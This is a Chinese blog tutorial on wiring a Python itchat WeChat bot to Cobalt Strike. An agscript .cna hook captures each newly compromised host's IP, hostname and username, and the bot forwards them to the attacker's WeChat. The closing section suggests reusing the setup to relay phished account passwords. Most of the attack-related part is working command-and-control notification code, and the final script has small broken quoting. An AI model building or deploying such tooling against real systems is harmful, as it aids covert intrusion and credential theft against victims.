Cobalt Strike上线微信机器人提醒


前言

之前看到师傅们cs上线提醒用的是钉钉机器人,但是钉钉不一定每个人手机上都有,微信应该是每个人手机上都有的,就想着整个微信的,这不就巧了,在刷动态时,发现了微信聊天机器人,改造一下这不就刚正合适,这就跟nice,于是乎就去学了手微信机器人,最后也是成功接受到微信给我发目标信息,一个字爽。这篇文章主要是通过微信机器人来实现目标上线提醒

注:如果你只想看微信聊天机器人的话,看完文章微信机器人版本即可


微信机器人

这个微信机器人是基于Python的,用的还是itchat库,但是不是之前的网页版微信,而是桌面版

启动微信

这行命令用于登录卓面版微信,当程序运行这行命令时会弹出一个二维码,用微信去扫即可登录

import itchat

if __name__ == '__main__':
	itchat.auto_login()

手机扫完应该是这样的

在这里插入图片描述
确认登录即可,由于程序就一行代码,所以确认登录就结束了,红框中的参数是微信名
在这里插入图片描述
登录函数常用的两个参数

  • enableCmdQR:将二维码在命令行中显示出来,如果扫描报错,或者无法登录,可以试着将该参数的值为2
  • hotReload:持续一段时间登录并在第一次登录成功时在当前目录生成一个itchat.pkl文件,删除该文件在次运行会要求重新扫二维码

文件传输助手

接下来用文件传输助手给你微信发消息

import itchat

if __name__ == '__main__':
    # 将二维码打印itchat.auto_login(enableCmdQR=2, hotReload=True)
    itchat.auto_login(hotReload=True)

	#第一个参数为发送文本
    itchat.send_msg("Hello,XD", toUserName='filehelper')

运行该程序,一会你就可以收到文件助手给你发消息了
在这里插入图片描述

接收消息并回复

有关@函数装饰器可以看这篇文章(http://c.biancheng.net/view/2270.html)

@itchat.msg_register(itchat.content.TEXT)
def _reply(msg):
    print(msg.text)  # 用户的信息包含给你发的消息
    return_user = "Xd"
    return return_user

这里得借助run函数循环接受消息,不然程序一跑结束了,消息还没来,程序先结束了

import itchat


@itchat.msg_register(itchat.content.TEXT)
def Send_Msg(msg):
    print(msg.text)  # 用户的信息包含给你发的消息
    return_user = "Xd"
    return return_user


if __name__ == '__main__':
    # Linux:itchat.auto_login(enableCmdQR=2, hotReload=True)
    itchat.auto_login(hotReload=True)
    itchat.run()

由于return_user值没变化,所以不论发什么消息都是回复Xd,可以自己做一个接口,把好友发来的消息交给接口处理,最后把要回复的消息返回给return_user,可以利用百度或者图灵的接口
在这里插入图片描述

agscript

cs目录下有该文件agscript,可以利用cna脚本获取cs的目标上线信息,在cs目录下创建xd.cna文件

println('listen suscess');

on beacon_initial {
    println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
    local('$internalIP $computerName $userName');
    $internalIP = replace(beacon_info($1, "external"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");
    $text = $internalIP . '&' . $computerName . '&' . $userName;
	println($text)
}

./agscript CsServerIP CsPort user passwd xd.cna,user不能重复,否则会listen 失败,可以看到agscript运行后当有一个目标上线时就会出现红框的信息,分别是目标IP、主机名、用户名,可以使用重定向把打印信息输出到一个文件里
在这里插入图片描述

cs上线微信提醒

通过前面的微信机器人和agscript,我们可以做到发微信消息和获取cs目标上线信息,接下来可以使用重复读取文件内容,每次把文件更新的内容发送到微信上面

#!/usr/bin/env python
# encoding: utf-8
'''

@Author         : xd
@Date           : 2021-12-25 21:28
@Description    : cs上线微信提醒.

'''
import time
import itchat


def main():
    itchat.auto_login(enableCmdQR=2, hotReload=True)    
    num = 0
    while 1:
    	#path位置为agscript重定向文件路径
        text = open('path‘).read().split('n')
        if num + 1 == len(text):
            continue
        time.sleep(3)
        for i in range(num, len(text)):
            if text[i] == None:
                continue
            else:
                if '&' in text[i]:
                    str = text[i].split('&')
                    itchat.send('        IP          : %snHostname : %snUsername : %s' % (str[0], str[1], str[2]),
                                toUserName='filehelper')
                else:
                    itchat.send(text[i], toUserName='filehelper')
        num = len(text) - 1


if __name__ == '__main__':
    main()

实战

我们先把cs启动起来,生成一个pyload,再把agscript程序后台运行起来,最后使用运行我们的Python微信机器人

在这里插入图片描述

现在我们上线第一台靶机
在这里插入图片描述
微信自然也是紧跟其后的发送消息
在这里插入图片描述
隔个几分钟,我们在上一台靶机
在这里插入图片描述
微信肯定依旧跟上
在这里插入图片描述


总结

最终也是成功的实现了cs上线微信提醒,其实并不止cs上线可以,你也可以改动用于钓鱼账户密码之类,我只是解决了利用微信发消息,但是怎么玩,还得取决于你

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>